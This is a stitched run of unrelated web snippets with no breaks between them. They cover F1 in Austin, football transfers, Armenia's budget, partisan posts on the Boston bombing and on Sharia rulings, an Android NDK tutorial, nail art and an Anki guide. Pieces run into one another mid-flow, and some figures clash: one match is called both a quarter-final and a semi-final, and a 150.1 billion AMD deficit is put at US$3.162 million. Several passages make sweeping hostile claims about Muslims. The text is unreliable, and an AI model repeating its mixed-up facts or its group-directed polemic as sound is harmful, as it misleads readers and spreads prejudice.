The state's largesse also seems poised to return. After meeting with Texas Governor Rick Perry at the Italian Grand Prix this year, Epstein says he's finalized a deal by which Texas will reimburse the track for the F1 sanctioning fee after each year's race, once the receipts from the horde of F1 fans have been tallied up. In time Epstein hopes to build a hotel and research center on-site, as well as garages for the rich and fast to park their Lamborghinis and Ferraris.
"I never envisioned taking charge of the project," says Epstein, much less infusing all that cash. Worth it? "Bonds are great. They don't talk back. They work on weekends. They don't require you to go talk to the city, the county, the state," he says. "But the emotional satisfaction and the mental challenge that I get from a project like this is nothing I've experienced before."
And Hellmund? He says he's currently pursuing a new Formula One contract with partners in Mexico--an idea that would put him in direct competition with Epstein and McCombs, who are counting on racing fans to trek north of the border.
Come race day, though, he promises he will be trackside. "I spent my whole life figuring out how to bring F1 to Austin," says Hellmund. "I wouldn't miss it for the world." And what about his former partner, Epstein?
Hellmund's only response: "Who?"
Follow me on twitter @chrishelman.
HIGHEST-PAID DRIVERS
Formula One’s top three earners rank among the world’s 25 best-paid athletes.
Fernando Alonso
(Ferrari)
2011 earnings: $32 million
F1 points ranking (as of Oct. 10): 1
Michael Schumacher
(Mercedes)
2011 earnings: $30 million
F1 points ranking: 13
Lewis Hamilton
(McLaren)
2011 earnings: $28 million
F1 points ranking: 4
Sebastian Vettel
(Red Bull)
2011 earnings: $14 million
The 28-year-old wants to leave Portugal this summer and his club will listen to offers of around £30million.
The Colombia international came close to joining AC Milan in January but the club failed to agree a fee.
Manchester United scouts checked on £30million-rated Porto striker Jackson Martinez last week
Martinez (right) scored as Porto beat Bayern Munich 3-1 in their Champions League quarter-final first leg
Martinez was outstanding against Bayern Munich in Porto's Champions League semi final first leg victory scoring in their 3-1 triumph. It was his 23rd goal in 31 games this season.
United are looking to add two strikers this summer. Burnley's Danny Ings remains an option, as reported by Sportsmail last month, and they have considered Edinson Cavani who is also a firm target for Juventus. However, Paris Saint-Germain are reluctant to sell Cavani.
Aston Villa's Christian Benteke has been discussed but no approach has yet been made.
Estimated expenditures will total 1.360 trillion AMD, leaving a deficit of some 150.1 billion AMD (US$3.162 million).
Social Protection: 408.9 billion AMD ($862 million)
General Public Services: 276.5 billion AMD ($583 million)
Defense: 209.8 billion AMD ($442.8 million)
Education 128.7 billion AMD ($271.3 million)
Public Order, Safety & Judicial Operations: 101.7 billion AMD ($214.4 million)
Economic Relations: 92.8 billion AMD ($195.6 million)
Healthcare: 85.7 billion AMD ($180.7 million)
Relaxation, Culture & Religion: 26 billion AMD ($54.8 million)
(US$1 = 474.34 AMD)
According to the government website e-gov.am, the breakdown of Armenia's 2016 budget of 1.442 trillion AMD is as follows:
Social Protection: 400.8 billion AMD
General Public Services: 297.7 billion AMD
Defense: 207.2 billion AMD
Public Order, Safety & Judicial Operations: 124.8 billion
Education: 127.2 billion AMD
Economic Relations: 115.6 billion AMD
Healthcare: 88.9 billion AMD
Apartment Construction & Communal Services: 33.6 billion AMD
Via Right Wing Watch:
Unfortunately the sad truth is we will be hit again. It will happen sooner or later. It will probably be sooner than later. There are two reasons why we will be hit again. First, we have a determined enemy who hates us. Second, we have a government that is not committed to protecting America. It is a pretty safe bet right now that this attack was carried out by an Islamist. It was a well-coordinated attack. In its publication, Al-Qaeda in the Arabian Peninsula called for just this kind of attack. While the government and media have fallen all over themselves to downplay this fact, there is a twenty-year-old Saudi student being detained as a “person of interest.” Person of interest in a nice police term that is used for someone who is not under arrest and therefore does not have to be read his Miranda rights and who hopefully will not lawyer up. Barack Obama could not force himself to use the word “terrorism” in his speech last night and the FBI right now won’t call this a terrorist incident. … The reason we will be hit again is because our government is not committed to destroying our enemy. Radical Islam is our enemy.
Some in the far end of the Liberty Movement will start screaming about war mongering “Neo-cons.” Nothing could be further from the truth. … We need to first recognize our enemy and then come up with a strategy to destroy them. This is an ideological war. While sometimes that will mean guns and bombs, neither will destroy an ideology. The values of the west, most of them good, some of them not so good are what will destroy radical Islam. In the west, we fall all over ourselves not to insult Islam. Why? We can go down the list of things Islam has done to the west. During the height of the Cold War, the Soviets came up with something called the Brezhnev doctrine. It said, “What’s ours is ours. What is yours is negotiable.” Radical Islam and perhaps even non-radical Islam holds to the same belief. They believe that once a nation becomes Islamic it cannot have Islam removed from it. However, non-Islamic nations may be conquered or otherwise taken over. Reagan knew that America had to stand up to the Communist threat. Bill Clinton wanted to ignore the Islamist threat. George W. Bush just wanted to hold the hand of the Saudi king and Barack Obama just wants to bow to him. As we mourn the victims of Boston, we need to make a solemn vow that we will not allow this to happen again. The only way we make sure this never happens again is to identify our enemy and then craft a strategy to totally defeat that enemy.
The right, in general, has been awfully quick to jump on the Islam bashing bandwagon. Fox News and the Post has been salivating over a Saudi Arabian man that was under guard at a local hospital following the attack. Turns out that he is not a suspect, just a witness. Why the guard? Because people like Judson Phillips are whipping up fear and anger at Muslims.
The most disturbing aspect of the bombing is the barely restrained glee with which the right has responded. A sore topic among conservatives is that there has been no successful terrorist attacks on American soil since Obama took office and he’s proven to be far more capable in killing terrorists and reaching foreign policy goals than the previous administration. For a political movement that obsesses over their national security bona fides and ties it disturbingly closely to their manhood, a successful terrorist act is like a soothing balm. Listening to right wing rhetoric, you’d think that nothing bad ever happened under Bush. Except for 9/11, the anthrax attacks, the bombing of the USS Cole and the several embassies and consulates that were assaulted. But FINALLY, they can blame Obama for something that actually happened!
Here’s a prime example of the anti-Obama hysteria currently gripping conservatives:
And here’s Patrick Dollard. Apparently he’s someone important in the right wing bubble of gibberish:
The revisionist history is breathtaking. I’ll bet cold hard cash that if Dollard was forced to admit that there were several terrorist attacks under Bush, his head just might explode.
All of this loud frothing serves two deeply cynical purposes: First, to get as many people on the right as riled up as possible at Obama and liberals. Without any significant Muslim threats, the cash cow that is professional Islamophobia has been a bit anemic of late. Even if it (most likely) turns out not to be a Muslim, well, darn it! It COULD have been a Muslim so you good “Christian” Americans should be afraid! Be VERY afraid. Also, you should oppose everything Obama does because he’s in league with the Muslim terrorists that may or may not have bombed Boston. And send money to the Tea Party so they can keep making you wet your diapers fighting terrorism.
The second purpose of all this anti-Muslim screeching is even more disgusting: That this attack occurred on Tax Day as well as Patriot’s Day (the third Monday in April) at an event in which several of the Newtown families were running is a giant red arrow pointing, not at Muslims, but at right wing extremists steeped in Tea Party rhetoric of revolution, Second Amendment solutions and “watering the tree of liberty with the blood of patriots and tyrants.” They know this. They also know that if this turns out to be the case, the nation’s eyes will look to them just like they did after the Oklahoma City Bombing. Back then, the silent guilt they carried was enough for them to tone down the proto-Tea Party insanity that is fully realized today. As a preemptive move, they are loudly blaming Obama and Muslims because if (when) the other shoe drops and the country finds out that, yes, Fox News and Glenn Beck and Rush Limbaugh and the entire conservative entertainment complex that oozes violence and eliminationist rhetoric had a hand in egging on the bomber(s), they will already have millions of conservatives ready to defend them and even refute that it wasn’t a Muslim. Keep in mind, this is the political movement that still has a large percentage of people that believe Obama is a secret Muslim, Iraq was behind 9/11 and that we found the WMDs. A year from now, they will still be absolutely convinced that Muslims attacked Boston and Obama “let it happen.”
The right wing media knows its audience and they know how tight a grip they have on how that audience (mis) perceives reality. Expect to see a lot more of the kind of self-serving trash that the Tea Party Nation is selling to its easily manipulated audience in the next couple of days and weeks. They have to get in there and shape public opinion before reality rears its ugly head.
Exit Theatre Mode
Bethesda has officially announced The Evil Within, the first game from Resident Evil creator Shinji Mikami’s studio Tango Gameworks. The Evil Within is a survival horror title due to arrive on Xbox 360, PlayStation 3, PC and next-generation consoles in 2014.
“We’re incredibly proud to announce The Evil Within,” said Mikami. “My team and I are committed to creating an exciting new franchise, providing fans the perfect blend of horror and action.”
IGN will have exclusive first impressions of The Evil Within on Monday, April 22nd at 7:00 a.m. Pacific, so be sure to check back then for our thoughts on an early demo along with a behind-the-scenes look at Tango Gameworks.
Until then, you can watch Bethesda’s live-action teaser trailer for The Evil Within below:
Exit Theatre Mode
With the election of new London Mayor Sadiq Khan and his extremist background, new shift in policy will be spoken of by Islamist groups. One group(Blackburn Muslim Association), who is in the Muslim Council of Britain, is proposing a certain type of travel ban on women. Story via
The Telegraph:
Instructions from the association’s “Department of Theology” insist that it is “not permissible” for a woman to go more than 48 miles – deemed to be the equivalent of three days walk – without her husband or a close male relative. It also stipulates that men must grow beards and advises women to cover their faces. The rulings are contained in a question and answer section of the group’s site which offers offer “solutions and answers” to social, religious and financial matters from sharia teaching, accompanied by the catchphrase: “Allah knows best.”
Most will dismiss this but Sharia muslims are gaining access to media in order to promote this subject along with other ideas. The BBC, a long heralded progressive intellectual media source, decided to host a discussion on this travel ban with some Islamic scholars.
should Muslim women be allowed to travel more than 48 miles from home without a chaperone? @IbrahimMogra @ShuruqNaguib discuss — BBC Radio 4 Sunday (@BBCR4Sunday) May 8, 2016
The UK cultural transformation into medieval times will be fascinating to watch from America.
A bill promising free community college to eligible Oregon students is official state policy. Oregon Gov. Kate Brown signed the bill Friday, limiting college tuition to $50 per term — a big discount from the $1,500 cost of attending full-time.
Brown said the free college fund and other higher education spending should improve college affordability for families.
“Oregonians can now afford to dream big,” Brown said. “Today we fling wide open the doors of opportunity, by expanding access to post-secondary education.”
Students have to apply for government financial aid and maintain at least a 2.5 grade-point average.
The program doesn’t start until Fall 2016, and eligibility is limited to students within six months of finishing high school. So it will exclude the vast majority of current community college students.
There’s no income ceiling on the program. But the law allows the Higher Education Coordinating Commission to prioritize how it spends the $10 million in the free community college fund.
The commission is also expected to resolve whether the state’s new grant funds will cover the cost of fees and books, or just tuition.
Recent CDC figures on condom use revealed just a third of single men use the rubber protection, and one of the most common reasons for non-users is that they 'slip off'.
Indeed, a study by Indiana University on almost 2,000 men revealed the average length is 5.57 inches - about an inch shorter than the standard condom size.
Now the Food and Drug Administration, which regulates health industry standards, has conceded that there is a need for smaller condoms in a desperate bid to lower the rates of sexually transmitted diseases and unwanted pregnancies.
The agency has made a policy change to allow manufacturing companies to make condoms of all sizes.
The average erect penis in America is 5.57 inches, an inch shorter than the standard condom size. The FDA has made a policy change that will let companies make smaller condoms
In doing so, it has given the green light to myONE Perfect Fit, a custom brand of condoms made by Boston company Global Protection Corp, which has been lobbying for a change for more than seven years.
The standard condom is between 6.7 and 8.3 inches long, and around 4.1 inches in width.
Data collated by ONE Condoms found condoms only fit 12 percent of men. The rest have varying widths and lengths that are not catered to by the one-size-fits-all approach.
It sits in line with scientific research.
The most high-profile study, conducted by Dr Debby Herbenick at Indiana University, asked 1,661 men in the U.S. to give the size of their penis.
Researchers were not involved in the measuring, leaving this practical aspect to each individual.
According to Dr Herbenick, she trusted men to give accurate measurements, since any exaggeration would simply leave them with a poor-fitting condom.
'If they reported a bigger-than-reality size to us, they would get a baggier condom,' she said. 'If they reported a smaller-than-reality size to us, the condom would be too tight.'
The study documented varying lengths - from 1.5 inches to just over 10 inches.
The research team also found that the size of the erect penis varied depending on how it was achieved. Oral sex proved more arousing than masturbation or being stimulated only by sexual fantasies.
To account for variability, ONE Condoms offers 60 different dimensions, from 4.9 to 9.4 inches in length and from 3.5 to 5.0 inches in width.
Davin Wedel, president of ONE Condoms, explained: 'You might be able to squeeze your large hands into a size-small glove, but that doesn’t mean it will be comfortable to wear.
'We want the world to know you shouldn’t have to sacrifice comfort for safety when it comes to condoms. Whether big, small or in between, myONE has a condom perfect for you.'
Professor Jacobsen uses heavy metal music to introduce students to literature in a class that he says is “50/50” lecture and listening to music. Among other topics, he tackles the history of metal, the reason the first songs on metal albums are important, the artistic superiority of …And Justice for All among Metallica albums, and the progression of first generation black metal.
Apparently this class arose from a sentence diagramming exercise in another class. How did you realize that this could be a class of its own?
The students realized it. I just mentioned it would be cool to have a class on heavy metal, and the response was crazy. Word spread and people started asking me about it. The boss was in favor of it, and we had already been offering some classes off the beaten path. So, I proposed it.
Approximately how many of your students do you think are heavy metal fans?
That’s a hard question. It’s fair to say most of my students aren’t. I teach a lot of elementary education majors, and most of them are not metal fans. But the English majors are. And among them, it seems to cut across genders and ages and other factors. You’re probably right that Romantic literature and metal have much in common, and the questioning mindset of a humanities major surely brings them in line with heavy metal.
“Introduction to Literature: Heavy Metal as a Literary Genre” teaches English using metal from over its forty-year history. What generations of metal do you consider, and can you give us some examples of each?
It’s pretty even across decade: 1970-Classic Metal; 1980-NWOBHM; 1990-Mainstream Metal; Nu Metal-2000. These are centers rather than inceptions, and I mean to suggest that this is when they reach a type of critical mass (i.e. albums Paranoid, British Steel, Metallica, etc). The early 1980s are when all the genres became established really — especially black, death, and thrash metal. All of them persist into the present. Prog metal is surely an outgrowth of RUSH, but there seems to be a lot more of it since the 1990s.
Do you think heavy metal artists are actually reading and influenced by literature?
Yes, some of them are. Or the news. Or some other source of ideas. Geezer Butler and Ronnie James Dio have talked openly about their reading. Clearly Steve Harris and Bruce Dickinson are very familiar with literature. Rush and Dream Theater in prog metal use literary themes and models (like Ayn Rand’s ideas in 2112 or the Hamlet motif in DT’s “Pull Me Under” or the Metropolis suite). Movies play a huge role too, and metal artists seem to see books and movies rather equally. Iron Maiden seems especially prone to use imagery from movies, though literature and history are also clearly sources for them.
Of all the literary movements throughout history, which one do you think is the closest in form and content to heavy metal? Is heavy metal an artistic “movement”?
That’s a very interesting question. I think it follows them in some ways. Much of it is similar in nature to Romanticism. Surely Death metal and Black Metal have postmodern elements. It is a movement, I think, and what’s interesting to me is how it has so many sub-genres within it. We can really analyze metal as a literature of it’s own making. While it’s interesting that metal artists use so much from literature, it’s even more interesting that they have enough depth and innovation to create an independent ethos.
Do the literary qualities of metal change between generations of metal, for example between NWOBHM and black metal?
That’s a good question. Some of the newer stuff seeks to be shocking for the sake of being shocking. That ruins it a little bit, I think. But even at that, one of the things metal does is put every question on the table. That’s what art does. It’s like cubism in painting or baroque in classical music. Take the norm and skew it and then re-present it to the world so they can think about it. I think new groups can ask the questions more explicitly, but I’m not sure the questions have changed. Death, pair, fear, war, pessimism, metal stability–all of these recur again and again. And they are questions that need asking. If heavy metal serves the world, it does so by interrogating notions every other approach seems afraid to interrogate. There are a lot of scary ideas in this world. And some people think that metal is one of them, I suppose. But any real metal fan will know that the real point is to talk about these things openly. Maybe that’s why we’re so loud. We talk about things no one else dares to engage. We have to speak up to be heard.
How have the students responded so far? Do you see more engagement with this as the subject matter, versus literature at large?
Way more. But, many of the students are in the class precisely because they are metalheads. Other literature classes at this level are seen as ‘have to’ humanities classes. I usually teach classical literature when I teach these classes. I get pretty good responses in those classes, but nothing like this. The students called the secretary the other day because we had a blizzard here and they wanted to make sure class was meeting. They didn’t want to miss it. Usually, a blizzard is a day off for most students, especially for a core class. This class draws people who want to be there. It’s not a fair comparison in many ways.
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What Is the NDK?
The NDK is a toolset that enables the development of Android apps using C, C++ and other native code languages, compiling code into applications that can run on Android devices. Using the NDK is generally not recommended because apps may experience a performance hit, suffer from compatibility issues, be harder to debug, and reduce flexibility. What the NDK guarantees is an increase in app complexity and connectivity from interfacing with native code.
The previous statements may sound discouraging but there are good use cases for the NDK. This includes computationally intensive apps like games, game engines, signal processing and physics simulations. Another good use case is reusing existing libraries written in C/C++. This mean you can leverage a large collection of native code libraries available online.
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Make sure to balance the pros and cons of using the NDK before deciding if it’s worth the extra complexity. You should never base your decision on your preferred language even if you are an expert in C or C++.
Using the NDK
Android Studio
If you don’t have it already, download Android Studio, the official IDE from Google.
NDK Package
Android Studio only includes the default tools and SDK, so download and install the NDK package separately. There are two ways to do this. The first and easiest is the automatic installation option in the SDK Tools tab. This is a large download (~1GB) so be sure to have a good internet connection and/or patience.
The second way is to download the NDK manually from the NDK Downloads page. This saves some time because of the smaller download size (<.5 GB) but will need some setting up. Download the appropriate NDK package for your platform and follow the installation instructions. You can put the extracted package anywhere you want, but remember this location as you will need it later.
Hello World
Let’s run a test project to see if the NDK installation works. The NDK package folder contains samples but they don’t seem to work out of the box in Android Studio without extra configuration. Instead we’ll import samples that work from the welcome screen. These NDK samples from GitHub can also be downloaded or cloned directly. This collection of samples has better compatibility with the latest version of Android Studio.
Select Import an Android code sample and type hello in the search box to filter the list. Choose Hello JNI from the filtered list under the Ndk category. Click Next to edit the app name and project location, then click Finish.
The JNI
After the code has loaded and Gradle has synced, let’s take a look at the resulting project structure. You might have noticed what appears to be a discrepancy in the project’s name. Why is it called HelloJNI and not HelloNDK? What is ‘JNI’ and how does it differ from the ‘NDK’? The ‘Java Native Interface’ is a framework that enables Java applications to interact with native code. The JNI and the NDK work together to bring native support to Android apps. The NDK is part of the Android framework while the JNI is available to any Java application, not just Android apps.
Inside the project is a folder named jni which will hold all the native C or C++ source code of the app. The JNI provides a two-way interface. The C/C++ code is able to call Java code, including the standard Android libraries, and the Java code is able to call native functions defined in C/C++ code. Native code is governed by the same sandbox and security rules as Java code so the app will not have full unrestricted access to hardware. For a more detailed discussion on the JNI, read the JNI articles from the Android Developer website.
ABI
Let’s build and run the project on an emulator or export an APK to test on a device. Here’s hello-jni running on my Asus Zenfone which uses an Intel or x86 Application Binary Interface (ABI). When the app interacts with native code, it must support different CPU architectures. This means it must be compiled for each platform you want it to run on.
Each ABI corresponds to a target architecture, defining how an app’s native code should behave or interact with the system during runtime. Currently, the NDK supports the ARMEABI (default), MIPS, and x86 architectures. Normally the project needs to be setup manually and the native code built for each platform. This is already taken care of in the sample project so just reuse the sample and set it as a starting point for a project. It has all the basic requirements already in place to enable an app to interface with the NDK.
Reusing Libraries
As mentioned earlier, the strength of the NDK lies in its ability to reuse existing, time-tested and powerful C/C++ libraries. This feature is at the experimental stage in Android Studio and generally recommended for advanced developers. Nevertheless, this is something interesting and worthwhile exploring.
SDL
The Simple DirectMedia Layer is an open source hardware abstraction library released 18 years ago. It’s used primarily for games but can be used for anything that involves high-performance graphics. In this section, we’ll set up a basic project that uses the SDL and can be used as a template for more sophisticated projects in the future.
Project Setup
The first step is to download the SDL source from the source code download page or clone the Mercurial repo with:
hg clone http://hg.libsdl.org/SDL
After the download or clone has finished, import the sample Android project (named android-project) from the SDL folder in Android Studio, accepting the default values in the import screens. After the project is created, there may be a sync issue involving a missing SDK version. To resolve this, open the SDK Manager and download the appropriate SDK version for the project. In this case, Android 3.1 (API Level 12). Check the Show Package Details box to reveal this version because it’s marked as obsolete. A more recent version can be used, but for now let’s stick to android-12 to keep things simple.
After the SDK is installed, the project should sync without errors, displaying a BUILD SUCCESSFUL message in the console. If you encounter any other errors, please let me know in the comments.
Gradle
Android Studio uses Gradle, an open source build automation system for managing projects and their output. Most project configuration happens inside gradle files. Let’s add some manual configuration to the project. Open build.gradle (app module) and add the following code below the buildToolsVersion property:
sourceSets { main { jni.srcDirs = [] } }
This will hide the native code in the project explorer which helps manually build SDL and the native code using ndk-build , which is inside the ndk-bundle folder. Building native code manually is the more reliable method over automated builds using Android Studio and Gradle. Gradle’s support for NDK is still experimental and not all use cases are handled.
Symbolic Link
Let’s create a symbolic link inside the app/src/main/jni/ folder of the project. Name it SDL and point it to the SDL folder downloaded or cloned earlier. The SDL folder can be directly copied but this method is less efficient and prone to errors. The source files are hidden in Android Studio so they need to be opened manually in an external editor to make the following modifications.
Android.mk
Android.mk is a simple make file that describes project source code and shared libraries for the build system. The project already imported has these make files by default but with minimal required configuration. Let’s make the changes to the Android.mk file of the main app. This file is found inside the app/src/main/jni/src folder. Look for the line that says YourSourceHere.c and replace it with main.c .
Application.mk
The Application.mk make file contains configuration common to all modules and affects how the entire project is built. Add the following line to Application.mk inside the app/src/main/jni/ folder:
APP_PLATFORM := android-12
This property setting tells ndk-build that the minimum target version is Android 3.1 and will point the project to the appropriate header files. Another setting to change in Application.mk are additional target platforms using the APP_ABI property. Select platforms from the following or add them all:
arm64-v8a
armeabi
armeabi-v7a
mips
mips64
x86
x86_64
Adding support for all these platforms gives the app better reach but will result in a bigger APK.
main.c
The last step is to add custom code that initializes the SDL and calls its functions to see if the project works. For convenience, let’s reuse this main.c file, downloading it into the app/src/main/jni/src folder.
Opening main.c, you’ll notice that it attempts to load and display an image named image.bmp. To support this, create a folder named asset inside app/src/main and add a bitmap named image.bmp. I used SitePoint.com’s logo for this test.
Building and Running
Using terminal, open app/src/main/jni/ and run ndk-build NDK_LIBS_OUT=../jniLibs . This command builds the native code and saves the resulting shared object (.so) files to the jniLibs folder. If ndk-build cannot be found, run it with complete a path or add it to the PATH environment variable. After the build has finished, switch to Android Studio and manually invoke the sync using the Tools -> Android -> Sync Project with Gradle Files menu item. An APK can now be created using the Build -> Build APK menu item to test the app on a device or emulator. Here’s my build running on x86 architecture:
Conclusion
As we have seen, using NDK with native code in an Android app requires some work but brings a world of new potential. I hope I have shown enough for you to appreciate wether it’s appropriate for your project or not.
Swanky! (via Real Estate Weekly)
Williamsburg's yuppification train picks up speed today with the first look at look at the Whole Foods that's coming to Bedford Avenue. This thing looks bright! The pricey grocer has secured a loan to the tune of $45 million to develop the property at 240 Bedford Avenue, which will contain the Whole Foods, luxury rental apartments and a New York Sports Club.
The enormous 150,000 square foot complex will engulf the entire block from Bedford to Berry at North 4th Street, the current site of a long-stalled construction project. Kitty-cornered Bedford Cheese Shop probably isn't too thrilled with its impending neighbors.
A Bernie Sanders loyalist who “struggled” to vote for Hillary Clinton is entering the Democratic primary for one of the most competitive House races in the country.
Mississippi Nissan workers hope for historic win in 14-year fight to unionize Read more
The Guardian has learned that Brent Welder, a longtime Democratic operative and labor lawyer, will announce his candidacy in Kansas’s third congressional district on Monday.
The district, covering suburban Kansas City and represented by Republican Kevin Yoder, was won by Hillary Clinton in 2016 and has long been viewed as a top Democratic target in the 2018 midterm elections. The district is prosperous and well educated and was represented by Democrat Dennis Moore for a decade before he retired in 2010.
Welder, who spent more than a year working on the Sanders presidential campaign, joins a crowded primary field that includes Jay Sidie, the Democratic candidate in 2016, and Andrea Ramsey, a former president of a not-for-profit health clinic who is backed by Emily’s List.
His candidacy will pose an interesting test in a swing district, as he embraces Sanders’ anti-corporate populist message. He is one of growing number of former Sanders staff members to consider bids for Congress. Others may run in Iowa and California.
Speaking to the Guardian, Welder said he “wasn’t paying any attention to the Democrats in the race right now” and focused on attacking Yoder, whom he said was “not representing the district at all”.
The district, Welder said, was “not a place where people think much of huge corporations meddling our economy and our politics”. But he could face a backlash over his public hesitancy to back Clinton’s candidacy, despite having worked for John Kerry and Barack Obama.
“One of my biggest issues is getting corrupting influence of big money out of politics,” he said, “and I was attracted to the fact that [Green party candidate] Jill Stein was very dedicated to that cause, I will say, and I wasn’t afraid to look into the possibility of supporting her.”
Could Kamala Harris revive the fractured Democratic party for the 2020 election? Read more
He made clear that he did go door to door for Clinton and the rest of the Democratic ticket and decided to back her “when I got into the voting booth to actually vote”.
Welder also faces the potential impediment of having moved to Kansas only in April, after living in St Louis. He said he was confident this will not be an issue. Not only is his wife is from the district, he said, but he helped organize for Sanders there and has represented clients from the area as a labor lawyer.
An aide to the Democratic Congressional Campaign Committee told the Guardian: “There’s no doubt Kansas three is a top targeted district for us in 2018. It was surprisingly competitive last cycle and we expect the environment for Democrats to be even more favorable this cycle.”
The aide added that Yoder was viewed as “particularly vulnerable and that’s evident by the number of candidates stepping up”.
from the touchy,-huh? dept
To help us evaluate the Department of Homeland Security's request to take-down/remove the MAFIAAfire.com add-on from Mozilla's websites, can you please provide the following additional information:
1. Have any courts determined that MAFIAAfire.com is unlawful or illegal in any way? If so, on what basis? (Please provide any relevant rulings)
2. Have any courts determined that the seized domains related to MAFIAAfire.com are unlawful, illegal or liable for infringement in any way? (please provide relevant rulings)
3. Is Mozilla legally obligated to disable the add-on or is this request based on other reasons? If other reasons, can you please specify.
4. Has DHS, or any copyright owners involved in this matter, taken any legal action against MAFIAAfire.com or the seized domains, including DMCA requests?
5. What protections are in place for MAFIAAfire.com or the seized domain owners if eventually a court decides they were not unlawful?
6. Can you please provide copies of any briefs that accompanied the affidavit considered by the court that issued the relevant seizure orders?
7. Can you please provide a copy of the relevant seizure order upon which your request to Mozilla to take down MAFIAAfire.com is based?
8. Please identify exactly what the infringements by the owners of the domains consisted of, with reference to the substantive standards of Section 106 and to any case law establishing that the actions of the seized domain owners constituted civil or criminal copyright infringement.
9. Did any copyright owners furnish affidavits in connection with the domain seizures? Had any copyright owners served DMCA takedown notices on the seized domains or MAFIAAfire.com? (if so please provide us with a copy)
10. Has the Government furnished the domain owners with formal notice of the seizures, triggering the time period for a response by the owners? If so, when, and have there been any responses yet by owners?
11. Has the Government communicated its concerns directly with MAFIAAfire.com? If so, what response, if any, did MAFIAAfire.com make?
Apparently, the folks at Homeland Security are not at all pleased with the very, very simple Firefox extension, called MAFIAAfire, that negates ICE's domain seizures, by automatically rerouting users to alternate domains. Apparently, DHS demanded that Mozilla take the extension down from its listing of Firefox extensions claiming that the add-on "circumvented" DHS's seizure orders. Thankfully, Mozilla didn't just fold, but instead left it up and sent DHS a list of questions concerning the request. The list of questions is really fantastic, as it goes way beyond the direct request to really get to the heart of the questionable nature of ICE's activity with domain seizures:It's always nice to see some organizations not just roll over when the government comes calling. Kudos to Mozilla for not just refusing to takedown MAFIAAfire, but for also asking serious questions of DHS. Of course, DHS has refused to respond at all...
Filed Under: dhs, domain seizures, firefox, homeland security, ice, mafiaafire, mozilla
For the previous installment of our 31 Day Challenge I did floral nails which you may remember. If you don’t remember you can see my floral nails here. Anyway, my point is that I did floral but guess what I was supposed to do? Animal print!! Haha. Somehow I got my days mixed up and posted my floral nails on Friday and am posting my animal print nails today! Oh well…. let’s just hope I don’t do that all the time!! Haha. Anyway- let’s check out today’s nails which are, in fact…
Animal Print Nails
How To Get These Nails:
Base coat. Paint your nails not quite half and half but like 3/5 and 2/5 or even 1/3 and 2/3 with Jessica Secret Love (pink) and ChG Aquadelic (turquoise). Apply a coat of Seche Vite over the entire nail and allow to dry thoroughly. You’re going to use tape so you need to have your nails completely dry. When your nails are completely dry, you can use scotch tape, masking tape or even sticky notes to cover the turquoise parts of your nails. Use stamp BM 223 and Konad special white to stamp the zebra print onto the pink side. Apply a coat of Seche Vite over the zebra stripes. When the pink side is completely dry, use the tape or sticky notes to tape over the pink side leaving the turquoise side exposed. Use BM 221 and Konad special white to stamp the cheetah print over ChG Aquadelic. Use Jessica Secret Love and a dotting tool or toothpick to fill in the cheetah spots. When the pink is totally dry (we don’t want smearing!!) apply a coat of Seche Vite over the turquoise side. Apply one final coat of Seche Vite over the entire nail to smooth it all out. Show your friends!! 🙂
Well, even though it’s late and on the wrong day, I hope you still like my animal print nails! 🙂 Please leave a comment and let me know!! I was pretty happy with them except for the fact that my stamping is messy. I think I was in too big of a hurry but oh well.. it happens. 😉 Make sure to use the button below to check out Alaina and Cynthia’s floral nails. It’s good that MOST of us know what day it is!! Haha. Also below you can find the schedule for the rest of the days of our challenge. I guess I’m the one who needs to pay more attention! 😉 As always thanks for reading, and till next time- Happy Polishing!! 😀
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This incident took place right before the top of the 2nd inning in game 1 of the 1985 ALCS. Immediately after the game, Stieb wasn’t quite as funny as above in recounting what was described in the papers as “a most enthusiastic kiss”:
I heard the crowd get excited, I looked up, and she was right on top of me.
And Stieb was on right top of the Royals batters that night, retiring the next 7 batters in order after this incident, and giving up only 3 hits and a walk in 8 scoreless innings, as the Blue Jays opened the series with a 6-1 win.
I love how this photo captures her enthusiastic leap. Also, props to her for not being cold in shorts and a garter belt with a game time temperature of only 14° C (57° F) at Exhibition Stadium.
Anki is spaced repetition software, which is a fancy way of saying it presents you with questions—which you then answer—when you are just about to forget it, thereby strengthening the memory.
You can use Anki to remember people’s names and faces, learn languages, study music theory, remember complex equations, internalize productivity advice, and so much more.
Mastering Anki takes time and effort. That’s where this guide helps.
“I went from knowing absolutely nothing about Anki to feeling like I could memorize the complete works of Shakespeare. Thanks for making such a clear, understandable guide.” ~David
Anki Essentials will help you:
Discover the simplicity and effectiveness of using spaced repetition software.
Dominate your schoolwork and classes.
Develop new habits quickly and effectively.
Impress friends with your level of recall.
Start using Anki 2.0’s new features immediately.
And much more.
Everything in this guide you could learn by yourself. What this guide offers you is convenience and time.
Anki Essentials is a detailed and practical 120-page guide that covers a variety of topics related to Anki, such as:
Getting Started – The absolute bare-bones basics of using Anki, from installation, to setting up an account with AnkiWeb, to creating your first deck. Getting Familiar with Anki – The inner-workings of Anki; how decks are organized, how notes and cards are edited, and how your collection is managed. Creating & Editing – The world of creating Anki decks. It covers note types, note fields, card templates, images and sounds, importing and exporting decks, and adding scientific markup. Learning & Reviewing – Specifics about studying, scheduling, and reviewing in Anki. Cramming, learning statistics, filtered decks, study options, and other topics are covered in depth. Specific Applications – Taking what you’ve learned so far and presents a variety of sample applications. Expanding & Enhancing – An assortment of other topics for getting the most out of Anki, including creating multiple user profiles, configuring Anki’s settings, and using advanced card templates. Additional Resources – Some final comments, as well as listing a bunch of available external resources and reference appendices.
From the Basics…
Anki Essentials covers a wide range of introductory topics to help you get started using Anki right away, including:
Where to get your free copy of Anki.
How to install, configure, and run Anki.
How to create your first decks, use them, and track your progress.
How do add shared decks, import existing decks, and start learning from them immediately.
…to Advanced Topics.
In addition to the basics, this guide also covers a wide range of more advanced topics, including:
The best ways to formulate your knowledge.
How to take advantage of card layouts.
How to create decks using data in spreadsheets or text files.
How to get the most out of your card tags.
How to keep your decks organized.
How to include LaTeX equations and formulas.
The easiest way to use images in your decks.
How to use audio and video.
The best plugins for extending Anki.
“I couldn’t imagine going through med school without using Anki. When it comes to learning anatomy I haven’t found anything better” ~David
Complete Table of Contents
Anki Essentials covers a wide variety of topics. To give you a better sense of what’s all included, here is the complete Table of Contents:
